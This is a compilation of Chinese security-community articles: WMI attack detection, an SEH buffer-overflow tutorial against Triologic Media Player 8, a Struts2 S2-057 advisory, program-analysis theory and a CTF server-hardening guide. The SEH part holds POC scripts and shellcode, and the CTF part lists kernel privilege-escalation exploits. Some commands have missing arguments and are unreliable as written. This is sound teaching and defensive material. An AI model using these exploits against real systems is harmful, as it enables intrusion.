**简单的来说就是WMI未能做好进程之间使用的帐户（特指NetworkService和LocalService帐户）隔离，而导致可以利用这一特性来进行提权。**
**笔者未能复现**
### 本文参考文章：
* [CVE-2009-0078](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0078)
* [WMI服务隔离本地提权漏洞](https://www.anquanke.com/vul/id/1117574)
## WMI攻击检测
### 讲在前面：
无论何种攻击手法在日志或流量是都会留下一定的痕迹，但是使用何种的规则将其监控到，这是令防守方头大的问题。WMI横向移动、权限维持都会在日志监控到。至于如何制定规则，本文不展开。
**总之两点：**
* 做好 WMI 连接的网络流量监控，一般不使用 WMI 的环境若出现了使用 WMI的情况，则内部网络可能已经被入侵。
* 做好进程监控，监测”wmic.exe“的命令行参数及其执行的命令。
### 日志检测
> ***注意**
> ：在日志检测中，最重要的数据来源就是Windows日志，而Windows日志也不是说全部选项都开启就可以，因为必须要考虑到机器本身的性能，很多无关紧要的日志数据我们可以将其监控选项关闭。*
**Windows EventLog**
Windows中对于WMIC的检测有两个关键日志：
* EventCode 4648 — 尝试使用显式凭据登录
* EventCode 4688 / SysmonID 1 — 进程创建 (wmic.exe)
wmic执行命令
在域内客户机上执行wmic远程命令
wmic创建事件
当创建wmi事件时出现了4648和4688日志
4648日志出现，调用程序svchost.exe
当wmic执行时，以上述例子为例，可以看到命令执行成功前后出现了3个日志，这也和wmic的执行流程有关，我们可以参考下图：
上图咱们可以结合WMI讲解篇进行理解，WMIC操作时会先由svchost.exe调用WmiPrvSE.exe然后由WmiPrvSE调用指定的程序，指定的cmd则由cmd.exe进行下一步操作，指定的powershell则有powershell.exe进行下一步操作。
**Sysmon**
> ***注意**
> ：Sysmon是微软对于Eventlog的补充解决方案，这是笔者对于Sysmon的理解，Sysmon可以能够获取到Evenlog获取不到的更多信息，MS解释Sysmon。*
sysmon64.exe -i exampleSysmonConfig.xml //执行安装：
sysmon64.exe -u //删除
执行安装
删除
> ***注意** ：exampleSysmonConfig.xml为Sysmon的配置文件，内容和名字均可以自定义，内容可以自行进行增加或修改。*
<Sysmon schemaversion="4.40">
<EventFiltering>
<!-- Restrict logging to access targeting svchost.exe and verclsid.exe -->
<ProcessAccess onmatch="exclude">
<TargetImage condition="excludes">verclsid.exe</TargetImage>
<TargetImage condition="excludes">svchost.exe</TargetImage>
</ProcessAccess>
<!-- Process access requests with suspect privileged access,
or call trace indicative of unknown modules -->
<ProcessAccess onmatch="include">
<GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
<GrantedAccess condition="is">0x1F1FFF</GrantedAccess>
<GrantedAccess condition="is">0x1F2FFF</GrantedAccess>
<GrantedAccess condition="is">0x1F3FFF</GrantedAccess>
<GrantedAccess condition="is">0x1FFFFF</GrantedAccess>
<CallTrace condition="contains">unknown</CallTrace>
</ProcessAccess>
</EventFiltering>
</Sysmon>
***参考配置文件** ：[sysmonconfig-export.xml](https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml) _
_*Powershell查看Sysmon日志__
Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational
**本地事件管理器：**
Windows日志->应用程序和服务日志->Microsoft->Windows
可以看到详细的日志内容
若是需要将sysmon的日志导出则可以使用wevtutil命令：
wevtutil query-events "Microsoft-Windows-Sysmon/Operational" /format:xml /e:sysmonview > eventlog.xml
然后可以自行导入sysmon帮助工具进行分析：
[sysmontools](https://github.com/nshalabi/SysmonTools)
若是权限维持中的WMI事件，则sysmon可以关注如下四个事件ID
Process Create(ID 1)
WmiEventFilter(ID 19)
WmiEventConsumer(ID 20)
WmiEventConsumterToFilter(ID 21)
可以看到CommandLine中执行的命令细节
### 流量检测
我们要注意在使用PSEXEC，SC.EXE，或其他远程服务管理工具进行操作时，通信将通过MS-SCMR协议操作DCERPC。即使该协议使用最大加密级别，但仍然可以使用流量监控确定目标执行了哪些类型的操作（例如服务创建、服务启动等）。
下图为sc.exe 创建远程服务的 wireshark 捕获
尽管WMIC仍然基于 DCEPC，但所有 WMI DCOM
方法调用都是通过单个接口完成的，并且当与“数据包隐私”级别的加密相结合时，流量监控的解决方案只能知道调用了某些 WMI
方法。无法知道执行了那些细节操作。若通过 WINRM 协议执行时，WMI 流量看起来像 HTTP，并且再次与通过 SVCCTL 接口时完全不同。这意味着
WMI技术可以有效地规避任何流量检测其横向移动的操作。
下图为DCEPRC数据包
### 缓解措施：
* 限制 WinRM信任的主机数量
winrm 设置 winrm/config/client '@{TrustedHosts="指定主机"}'
* 在日志中重点监控WmiPrvSE.exe和WMIC.exe。
* 做好高权限的控制，避免高权限帐户滥用。
### 参考文章：
* [Windows 管理规范](https://attack.mitre.org/techniques/T1047/)
* [WMI检测详细分析](https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html#hunter-notes)
* [发现横向移动](https://labs.f-secure.com/blog/attack-detection-fundamentals-discovery-and-lateral-movement-lab-5/)
## WMI（技术总结及个人建议）
### 总结：
WMI在笔者所参与的项目中发现目前攻防中利用依旧非常频繁，尤其在横向移动中，利用wmic或者powershell的WMI模块操作Win32来达到渗透的目的。笔者在学习了WMI后，将其分为四个模块（讲解、横向移动、权限维持、权限提升），并追加了小知识点的编写（WBEMTEST工具使用，普通用户使用wmic）。笔者能力有限，在几篇中若有未讲人话之处，望谅解。
### 个人建议：
实际攻防中将常用的wmic命令集成到Cna插件中，将权限维持集成到Cna插件中，wmic或powershell的WMI模块常用的记好笔记，用的时候直接复制粘贴。 | 社区文章 |
有了前面两部分知识的储备，我们来实际演练一下。首先简单说一下基于SEH的漏洞利用。
## 基于SEH的漏洞利用。
异常处理包括两个结构：
Pointer to next SEH record 指向下一个异常处理
Pointer to Exception Handler 指向异常处理函数
也就是：
nSEH指向下一个SEH链所以我们可以设置这样的一个结构来达到shellcode执行的目的：
具体的利用流程：
我们需要一段很长的填充字符来覆盖到SEH的位置，可以通过pattern脚本来胜场一系列的字符串用来定位，然后利用pattern_offset ???
???来得到偏移，之后将SEH覆盖为ROP的地址（POP POP RET）,nSEH为EB 06这是个短跳，跳转到shell code的位置。
大致模板如下：
填充字符 + \xEB\x06\x90\x90 + pop pop ret + shellcode
## POC
* * *
这里使用FuzzySecurity里面的一个Demo（Triologic Media Player 8）。
POC：
#!/usr/bin/python
filename="evil.m3u"
buffer = "A"*5000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Immunity Debugger挂载上，运行，载入evil.m3u，程序崩溃。
Shift+F9
可以看到EIP并不是熟悉的”41414141”而是Unicode编码转化为“00410041”
用pattern找一下偏移
!mona pattern_create 5000
!mona findmsp
我这里计算得到的偏移量时546，这个和FuzzSecurity得到得偏移一样，不过实际上他的偏移还要再多增加两个字节所以nSEH、和SEH的位置是在547和548，不过在我的实验环境下，我的偏移还要在更大一写nSEH和SHE的偏移为549和600。所以我的POC为：
#!/usr/bin/python
filename="evil.m3u"
buffer = "A"*538 + "BB" + "C"*4462
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
## PPR
* * *
如果一切正常，最后EIP的值应当为00420042，为了方便查看测试的时候我下了00420042这个断点，因为程序基地址为00410000，00420042这个地方有代码而且可以执行：
接下来找unicode的ROP，幸运的是IMMUNITY DEBUG可以帮忙完成这个任务
！mona she –cp Unicode
接着我尝试了所有的可能，这些地址在IMMUNITY
DEBUG中查看到的反汇编代码都是正常，不过运行下面的POC，却少有可以定位到的地方（程序正确编码对应地址），就算定位到了，后续的相关代码也会产生异常而无法执行：
#!/usr/bin/python
filename="evil.m3u"
buffer = "A"*538 + "**" + "C"*4462 #**为PPR
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
为此我反复尝试这些地址，发现还是不行，不是异常就是跑到奇怪的地方，无奈之下想起了小组成员说的一句话@D0g3技术小组：遇到环境问题不行就重启，重启之后还是不行就睡一觉，睡一觉之后还是不行就重装电脑。最后我尝试了英文版的XP：
终于成功执行到这儿。
## EAX指向shellcode
* * *
接下来我们需要EAX指向我们的shellcode，就用到我们前文的一个办法，我们可以找一个离shellcode近的寄存器EBP，把它的值给EAX：
“\ x55”＃将EBP的值压入堆栈
“\ x71”#Venetian Padding
“\ x58”＃获取EBP的值并将其弹入EAX
“\ x71”#Venetian Padding
“\ x05 \ x20 \ x11 “#add eax，0x11002000 \
”\ x71“#Venetian Padding |>
”\ x2d \ x17 \ x11“#sub eax，0x11001700 /
”\ x71“#Venetian Padding
”\ x50“＃将EAX的新值压入堆栈（指向我们的缓冲区）
”\ x71“#Venetian Padding
”\ xC3“＃重定向执行流到堆栈顶部的指针==>EAX
执行后EAX成功指向我们的shellcode。
实际上这里加了一个retn,在这之后会直接跑过去执行shellcode,不过这样可行前提是我们有一个经过unicode编码也可以执行的shell
code，当然msf可以生成相应的payload，→ω→当然我不知道可不可以生成unicode编码的弹计算器的shellcode。就用文章（1）（2）的办法解决这个问题。（网上也有编辑器ALPHA3）
不过理论上是可行的，不过这里有个问题，我采用的shellcode是这个：
shellcode = ("\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x09\xC6\x45\xF3\x6B\xC6\x45\xF4\x65\xC6\x45\xF5\x72"
"\xC6\x45\xF6\x6E\xC6\x45\xF7"
"\x65\xC6\x45\xF8\x6C\xC6\x45"
"\xF9\x33\xC6\x45\xFA\x32\xC6"
"\x45\xFB\x2E\xC6\x45\xFC\x64"
"\xC6\x45\xFD\x6C\xC6\x45\xFE"
"\x6C\x8D\x45\xF3\x50\xB8\x7B"
"\x1D\x80\x7C\xFF\xD0\x8B\xE5"
"\x33\xC0\x50\x83\xEC\x08\xC6"
"\x45\xF4\x63\xC6\x45\xF5\x61"
"\xC6\x45\xF6\x6C\xC6\x45\xF7"
"\x63\xC6\x45\xF8\x2E\xC6\x45"
"\xF9\x65\xC6\x45\xFA\x78\xC6"
"\x45\xFB\x65\x8D\x45\xF4\x50"
"\xB8\xAD\x23\x86\x7C\xFF\xD0"
"\x8B\xE5\x5D")
当然这个shellcode在别的环境测试过，是可行的，不过在内存中，大于0x80的字节编码都要出问题，比如开头的8B这个字节，编码会成为\x39\x20，之后我把上面的对EAX操作的那段opcode改了一下添加了下面代码：
"\x45"
"\xC6" # add [ebp+0x0],al
"\x8B"
"\x45"
但是在汇编中依然是：
当然解决这个的办法 ，可以将其减半，分段来加，不过这会变成一个较大的工程，当然本身这个shellcode也比较大，本身也比较麻烦。
## 后记
* * *
实际上这项技术并不是很新，可以说很古老了，现在也有一些编码的工具，网上也有很多不同编码的shellcode，不过我查找到的都无法直接执行。最后分享在这次写文章时看到的一户话：
**_When life gives you lemons paint that shit gold and just try harder._** | 社区文章 |
# Apache Struts2 S2-057漏洞分析预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞描述
It is possible to perform a RCE attack when namespace value isn’t set for a
result defined in underlying xml configurations and in same time, its upper
action(s) configurations have no or wildcard namespace. Same possibility when
using url tag which doesn’t have value and action set and in same time, its
upper action(s) configurations have no or wildcard namespace. —— Apache
Struts2 Team
2018年8月23日，Apache Strust2发布最新安全公告，Apache Struts2 存在远程代码执行的高危漏洞，该漏洞由Semmle
Security Research
team的安全研究员汇报，漏洞编号为CVE-2018-11776（S2-057）。Struts2在XML配置中如果namespace值未设置且（Action
Configuration）中未设置或用通配符namespace时可能会导致远程代码执行。
## 0x01 漏洞影响面
#### 影响面
确定CVE-2018-11776为高危漏洞。
实际场景中存在一定局限性，需要满足一定条件。
#### 影响版本
Struts 2.3 to 2.3.34
Struts 2.5 to 2.5.16
#### 修复版本
Struts 2.3.35
Struts 2.5.17
## 0x02 漏洞验证
传入OGNL表达式${2333+2333}
成功带入执行函数，并执行
返回结果至URL
## 0x03 修复建议
官方建议升级Struts到2.3.35版本或2.5.17版本
该版本更新不存在兼容性问题
## 0x04 时间线
**2018-08-22** 漏洞披露
**2018-08-22** 360CERT发布预警分析通告
## 0x05 参考链接
1. [Apache Struts2 安全通告](https://cwiki.apache.org/confluence/display/WW/S2-057)
2. [lgtm团队blog](https://lgtm.com/blog/apache_struts_CVE-2018-11776) | 社区文章 |
# 程序分析理论 第三部分 上下文敏感的引入数据的控制流分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
程序分析理论第九篇，关于上下文敏感的引入数据的控制流分析以及控制流分析的算法：笛卡尔积算法。
## 添加数据流分析 Adding Data Flow Analysis
控制流分析可以通过添加数据流分析的内容使得控制流分析对于变量的分析不再仅仅是抽象表示，也会包含抽象值。
首先我们要对控制流分析本身的val进行拓展，使得它满足数据流分析的要求：将bool类型和int类型的值进行抽象表示，其中包括tt为True ff为False
-为负数 0为0 +为正数。同时我们定义运算 – 和 – 运算依旧是 -。 – 和 0 运算依旧是-。 -和+运算可能是 – 0 +
。0和0运算是0.+和+运算是+。
由于对于val进行了拓展，所以对于(C , p) |= c ^l需要将d_c记录到C(l)中从而实现数据流分析。
### 例子 Example
这是一个包含常数的let in语句
(C , p) |= (let f = () ^9 in () ^14) ^15可以得到约束条件C(9) 包含于 p(f) C(14)
包含于C(15)以及(C , p) |= () ^9 (C , p) |= () ^14
(C , p) |= (fn x => () ^8) ^9可以得到 {fn x => () ^8} 包含于 C(9)
(C , p) |= (if (x ^1 > 0 ^2) ^3 then (fn y => y ^4) ^5 else (fn z => 25 ^6)
^7) ^8可以得到(C , p) |= (x ^1 > 0 ^2) ^3 当C(3) 为true时，(C , p) |= (fn y => y ^4)
^5 C(5)包含于C(8) 。当C(3) 为false时，(C , p) |= (fn z => 25 ^6) ^7 C(7)包含于C(8) 。
(C , p) |= (x ^1 > 0 ^2) ^3 可以得到 (C , p) |= x ^1 (C , p) |= 0 ^2 x ^1 > 0 ^2
包含于 C(3)
(C , p) |= x ^1 可以得到 p(x) 包含于C(1)
(C , p) |= 0 ^2 可以得到{d_0} 包含于 C(2)
(C , p) |= (() ^12 0 ^13) ^14 可以得到(C , p) |= () ^12 (C , p) |= 0 ^13
(C , p) |= (f ^10 3 ^11) ^12可以得到(C , p) |= f ^10 (C , p) |= 3^11
(C , p) |= 0 ^13可以得到{d_0} 包含于 C(13)
(C , p) |= f ^10可以得到p(f) 包含于C(10)
(C , p) |= 3^11可以得到{d_3} 包含于C(11)
约束条件：
C(9) 包含于 p(f)
C(14) 包含于C(15)
{fn x => () ^8} 包含于 C(9)
当C(3) 为true时，(C , p) |= (fn y => y ^4) ^5 C(5)包含于C(8) 。
当C(3) 为false时，(C , p) |= (fn z => 25 ^6) ^7 C(7)包含于C(8) 。
{x ^1 > 0 ^2} 包含于 C(3)
p(x) 包含于C(1)
{d_0} 包含于 C(2)
{d_0} 包含于 C(13)
p(f) 包含于C(10)
{d_3} 包含于C(11)
由于x ^1的实参是3 ^13。所以{+}包含于C(1)。由于C(2)为{0}，所以C(3)为{tt}。约束条件为(C , p) |= (fn y => y
^4) ^5 C(5)包含于C(8)
(C , p) |= (fn y => y ^4) ^5得到 {fn y => y ^4} 包含于 C(5)
最终，我们得到
(C , p)(C(1)) = {+}
(C , p)(C(2)) = {0}
(C , p)(C(3)) = {tt}
(C , p)(C(4)) = {+}
(C , p)(C(5)) = {fn y => y ^4}
(C , p)(C(6)) = {}
(C , p)(C(7)) = {}
(C , p)(C(8)) = {fn y => y ^4}
(C , p)(C(9)) = {fn x => () ^8}
(C , p)(C(10)) = {fn x => () ^8}
(C , p)(C(11)) = {+}
(C , p)(C(12)) = {fn y => y ^4}
(C , p)(C(13)) = {}
(C , p)(C(14)) = {}
(C , p)(C(15)) = {}
(C , p)(p(f)) = {fn x => () ^8}
(C , p)(p(x)) = {+}
(C , p)(p(y)) = {0}
(C , p)(p(z)) = {}
相较于单纯的控制流分析，改变的是减少了对于不执行的代码的约束条件的分析，增加了对变量的描述。
即单纯的控制流分析是
(C , p)(C(1)) = {}
(C , p)(C(2)) = {}
(C , p)(C(3)) = {}
(C , p)(C(4)) = {}
(C , p)(C(5)) = {fn y => y ^4}
(C , p)(C(6)) = {}
(C , p)(C(7)) = {fn z => 25 ^6}
(C , p)(C(8)) = {fn y => y ^4 ,fn z => 25 ^6}
(C , p)(C(9)) = {fn x => () ^8}
(C , p)(C(10)) = {fn x => () ^8}
(C , p)(C(11)) = {}
(C , p)(C(12)) = {fn y => y ^4 ,fn z => 25 ^6}
(C , p)(C(13)) = {}
(C , p)(C(14)) = {}
(C , p)(C(15)) = {}
(C , p)(p(f)) = {fn x => () ^8}
(C , p)(p(x)) = {}
(C , p)(p(y)) = {}
(C , p)(p(z)) = {}
## 添加上下文敏感 Adding Context Information
依旧是根据实例介绍内容
let in结构 C(2) 包含于 p(f) C(8) 包含于 C(9)
fn x => x ^1 结构 {fn x => x ^1} 包含于 C(2)
f ^3 f ^4 结构 C(4)包含于p(x) C(1)包含于C(5)
fn y => y ^6 结构 {fn y => y ^6}包含于 C(7)
() ^5 () ^7 结构 C(7) C(5)包含于 p(x) C(1)包含于C(8)
x ^1 结构 p(x) 包含于 C(1) p(y) 包含于 C(6)
包含链：
{fn x => x ^1} 包含于 C(2) 包含于 p(f)
{fn y => y ^6}包含于 C(7) 包含于 p(x)
C(1) 包含于 C(8) 包含于 C(9)
C(1)包含于C(5)包含于 p(x) 包含于 C(1)
p(y) 包含于 C(6) 包含于 C(7) 包含于 p(x)
(C , p)结果：
C(1) = {fn x => x ^1 , fn y => y ^6}
C(2) = {fn x => x ^1}
C(3) = {fn x => x ^1}
C(4) = {fn x => x ^1}
C(5) = {fn x => x ^1 , fn y => y ^6}
C(6) = {fn y => y ^6}
C(7) = {fn y => y ^6}
C(8) = {fn x => x ^1 , fn y => y ^6}
C(9) = {fn x => x ^1 , fn y => y ^6}
p(f) = {fn x => x ^1}
p(x) = {fn x => x ^1 , fn y => y ^6}
p(y) = { fn y => y ^6}
这一过程就是上一篇文章的最后伪代码部分做的工作
对于单一let in结构的代码，我们之前的描述就足够了，并且不会特别复杂，但是面对多重let in结构，就会出现描述冗余复杂的情况。比如：
仅仅使用上面的描述，我们得到
(fn x1 => x1) 包含于 p(f1)
(let f1 in) 包含于 C(let in let in)
fn x2 =>x2 包含于 p(f2)
((f1 f2) fn y => y) 包含于 C(let in)
fn y => y 包含于 C()
也就是最小解是(fn x1 => x1) fn x2 =>x2 fn y => y
这说明随着let in结构的增加，最小解的集合会变大，其中的冗余会变多。冗余所在就是，对于x1来说只和fn x2 => x2发生关系 ，x2只和 fn y
=> y 发生关系。也就是我们可以只是用fn y => y来描述这个程序。
所以我们提出上下文敏感来实现变量的溯源。
### 上下文敏感的控制流分析 k-CFA Analysis
上下文敏感就是找到不同调用点各参数之间的关系，也就是将虚参对应的实参找到并且记录。
当语句是x ^l 时，我们记录x为p(x,ce(x))保存在C(l,δ)中
p(x,ce(x))表示当前虚参为x，在上下文环境变量中找到该虚参对应的实参，或者先找到对应实参一致的虚参。
当语句是fn x => e_0时，我们记录为(fn x => e_0,ce_0) 保存在C(l,δ)中。
(fn x => e_0,ce_0)表示当前虚参为fn x => e_0，以及上下文环境中的实参。
其他的语句描述类似，相较于上下文不敏感的控制流分析多了上下文环境变量的记录和语句所对应的上下文环境变量的集合。
除此之外，上下文敏感的控制流分析多了一些条件：即对于fn x=> x来说ce_0是最终的环境变量集合。fun也是一样。对于t_1
t2的结构，则存在当前执行环境为一个环境变量集合。将环境变量和语句标签记录在一起，记作δ_0。并将当前语句变量和这个集合建立对应关系当作新的环境变量，记作ce_0[x
-> δ_0]
**例子 Example**
一个let in结构说明只有一次调用，也就是1-CFA
我们利用上下文敏感的控制流分析进行描述：
上述例子中 f 为调用的函数，为一个小的分析单元。我们记作ce_0[f -> ^]，即在分析前，环境变量暂时没有参数。
对于in中的代码，存在 f ^3 f ^4和() ^5 () ^7 的结构，也就是存在两个小的环境变量集合，记作ce_0[x -> 5] ce_0[x ->
8]
由于 f 在执行5时进行转化，所以对于 f 的分析要包括C(5)的环境变量，同理由于() ^8为最外面的语句，所以在调用 f
时，也需要C(8)的环境变量，我们可以得到：
C(1,5) = {(fn x => x ^1 ,ce_0)}
C(1,8) = {(fn y => y ^6 ,ce_0)}
C(2,^) = {(fn x => x ^1 ,ce_0)}
C(3,^) = {(fn y => y ^6 ,ce_0)}
C(4,^) = {(fn x => x ^1 ,ce_0)}
C(5,^) = {(fn y => y ^6 ,ce_0)}
C(7,^) = {(fn x => x ^1 ,ce_0)}
C(8,^) = {(fn y => y ^6 ,ce_0)}
C(9,^) = {(fn x => x ^1 ,ce_0)}
p(f,^) = {(fn x => x ^1 ,ce_0)}
p(x,5) = {(fn x => x ^1 ,ce_0)}
p(x,8) = {(fn y => y ^6 ,ce_0)}
### 笛卡尔积算法CPA The Cartesian Product Algorithm
我们使用笛卡尔积算法来实现控制流分析。
首先笛卡尔积算法是什么：循环内下沉到最小单元再进行新的循环。也就是我们之前的分析过程，先分析let
in结构，再分析let中的内容，直到let分析到最小单元，分析in重复操作。
由于控制流分析是将程序代码从整体到局部的按步分析的方法，同时控制流分析并不需要将每一次分析的结果进行整合化简，所以笛卡尔积算法很适合控制流分析。
## 总结
控制流分析适用于以函数为导向语言，即对于每一部分函数都是一个单元，存在自身的环境变量，对于一个程序，我们先对所有函数进行分析，再在主函数中将这些环境变量应用实现对程序的分析。
当然控制流分析也适用于以对象为导向的语言，每一个对象都是一个单元，存在自身环境变量，对于一个程序，我们先对对象进行分析，再在代码中应用这些分析结果，即环境变量。
控制流分析是基于约束的分析的一种，我们首先进行抽象表示，并对约束条件进行分析，然后利用代码处理程序使得生成约束条件，最后找到最终解。
欢迎指教
_DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
# 【CTF 攻略】CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[ssooking](http://bobao.360.cn/member/contribute?uid=1490911994)
预估稿费：500RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**一. 前言**
随着CTF的普及，比赛的形式也有了越来越多的花样，对于线下赛来说，开始出现了安全加固或者防御战之类的环节，亦或者因为拿下靶机后不希望其他攻击者进入而进行“争夺”，无论什么形式，这些都需要我们对于服务器的防护工作有所了解。对于线下赛，笔者虽说没有什么很高超的攻防技巧，但也是有着一些自己的心得。本文总结了一些CTF线下赛中常用的服务器加固姿势，希望能对各位CTF朋友们有所帮助。环境针对目前常见线下赛常见的linux
Web服务器，但是因为CTF毕竟与真实网络环境有很大区别，本文的涉及的大部分姿势不具有普遍适用性。本文涉及到的相关代码github下载地址：[CTFDefense](https://github.com/ssooking/CTFDefense)。
**二. 常用姿势**
**1\. 提权**
在开始正文之前，需要先提一下提权，这个要根据自己的比赛过程中的需要而定。有些比赛就有专门的防御加固环节，但安全加固的很多操作都会涉及到root权限，如果直接给root权限最好，但一般一开始会给一个普通权限账号，或者干脆什么都不给，需要我们自己通过漏洞拿下服务器，这样往往就需要提权了。关于提权，通常我们要根据kernel版本号找到对应的poc，平时我们可以收集测试一些比较新的提权poc，以备不时之需。这里有一个网站：<http://exploit.linuxnote.org/>，里面有许多linux本地提权的poc。github上有一个挺全的提权exp项目：<https://github.com/SecWiki/linux-kernel-exploits>
。网上也有人分享的一些打包搜集的poc,比如[这个](https://bbs.77169.com/forum.php?mod=viewthread&tid=363466)，有兴趣的朋友可以多下载看看。
下面分享几个最近两年并且影响范围比较大的：
[CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18
）](https://github.com/torvalds/linux/commit/5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4)
描述：DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存，导致拒绝服务（系统崩溃）或者提升权限，获得系统的管理访问权限
用法：
./pwn
[CVE-2016-5195（脏牛，kernel 2.6.22 < 3.9
(x86/x64)）](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)
描述：低权限用户可修改root用户创建的文件内容，如修改 /etc/passwd，把当前用户的 uid 改成 0 即可提升为root权限
用法：
./dirtyc0w file content
[CVE-2016-8655（Ubuntu 12.04、14.04，Debian
7、8）](https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a)
描述：条件竞争漏洞，可以让低权限的进程获得内核代码执行权限
用法：
./chocobo_root
POC： <https://www.seebug.org/vuldb/ssvid-92567>
[CVE-2017-1000367（sudo本地提权漏洞 ）](https://github.com/c0d3z3r0/sudo-CVE-2017-1000367)
CVE-2017-1000364
描述：Linux Kernel Stack
Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞，它影响Linux，FreeBSD和OpenBSD，NetBSD，Solaris，i386和AMD64，攻击者可以利用它破坏内存并执行任意代码
。
[CVE-2016-1247（Nginx权限提升漏洞）](https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html)
描述：Nginx服务在创建log目录时使用了不安全的权限设置，可造成本地权限提升，恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data
到 root 用户权限的提升。
POC：<https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html>
提权相关代码在GetRoot目录，POC中是上面提到的几个本地提权源代码，release中分别是编译好的32位和64位程序。
实用脚本
[Linux_Exploit_Suggester.pl](https://github.com/PenturaLabs/Linux_Exploit_Suggester.git)
，它可以根据系统内核版本号返回一个包含了可能exploits的列表。还有一个检查linux安全状况的脚本：[原文链接](http://www.freebuf.com/sectool/108564.html)
还有几个详见：[Linux提权？这四个脚本可以帮助你](http://www.freebuf.com/sectool/121847.html)
**2\. 常用操作命令**
linux操作有很多命令，但是线下赛的防护工作中常用的也就那么一些，我们平时可以留意并总结起来，便于我们比赛使用。
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段，如：.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机，如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 > back.sql
mysqldump --all-databases > bak.sql
#还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 < bak.sql
find / *.php -perm
awk -F: /etc/passwd
crontab -l
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -
再推荐两篇篇安全应急排查手册：[应急排查手册](https://yq.aliyun.com/articles/177337)
，[Linux应急响应姿势浅谈](https://xianzhi.aliyun.com/forum/mobile/read/2150.html)
**3\. 文件监控防webshell**
防御webshell，我们可以监控我们的web目录，对文件的增加或修改等操作进行限制等，粗暴一点的话，就禁止任何文件产生变化，杜绝被传webshell的可能性。
**（1）使用系统 chattr +i 命令**
linux下的文件有着隐藏属性，可以用lsattr命令查看。其中有一个i属性，表示不得更动任意文件或目录。如果你已经有root或者sudo权限了，那么你可以使用"chattr
+i 命令"修改文件隐藏属性，这样所有用户都不能对该文件或者目录进行修改删除等操作（包括root），如果想进行修改，必须用命令"chattr
-i"取消隐藏属性。
[Linux文件保护禁止修改、删除、移动文件等,使用chattr +i保护](http://www.runoob.com/linux/linux-comm-chattr.html)
例子：
用chattr命令防止系统中某个关键文件被修改：
chattr +i /etc/profile
将/var/www/html目录下的文件设置为不允许任何人修改：
chattr -R +i /var/www/html
****
**（2）自己动手丰衣足食**
python的第三方库pyinotify可以让我们很方便地实现这些功能。但是由于是第三方库， **线下赛中通常没法联网安装库**
，所以我们可以手工把库文件传到靶机里python库中: /usr/lib/pythonXXX/site-packages，但是更方便的做法是借用pyinstaller等工具将其打包成linux可执行文件。
安装了pyinotify库之后，我们仅仅运行在机器上： "python -m pyinotify 监控目录路径"
这条简单的命令，就可以看到对这个目录以及该目录下所有进行任何操作的的监控日志。
但由于监控事件太过杂，很多并不是我们关注的，并且我们不仅仅要监控，还需要对某些操作进行自动处理，因此我们可以自己编程，针对性地实现我们需要的功能，下面是一段代码示例。
#!/usr/bin/env python
# -*- coding: utf-8 -*- # ** Author: ssooking
import os
import argparse
from pyinotify import WatchManager, Notifier,ProcessEvent
from pyinotify import IN_DELETE, IN_CREATE,IN_MOVED_TO,IN_ATTRIB
class EventHandler(ProcessEvent):
"""事件处理"""
#创建
def process_IN_CREATE(self, event):
print "[!] Create : " + event.pathname
DeleteFileOrDir(event.pathname)
#删除
def process_IN_DELETE(self, event):
print "[!] Delete : " + event.pathname
#文件属性被修改，如chmod、chown命令
def process_IN_ATTRIB(self, event):
print "[!] Attribute been modified:" + event.pathname
#文件被移来，如mv、cp命令
def process_IN_MOVED_TO(self, event):
print "[!] File or dir been moved to here: " + event.pathname
DeleteFileOrDir(event.pathname)
def DeleteFileOrDir(target):
if os.path.isdir(target):
fileslist = os.listdir(target)
for files in fileslist:
DeleteFileOrDir(target + "/" + files)
try:
os.rmdir(target)
print " >>> Delete directory successfully: " + target
except:
print " [-] Delete directory failed: " + target
if os.path.isfile(target):
try:
os.remove(target)
print " >>> Delete file successfully" + target
except:
print " [-] Delete file filed: " + target
def Monitor(path):
wm = WatchManager()
mask = IN_DELETE | IN_CREATE | IN_MOVED_TO | IN_ATTRIB
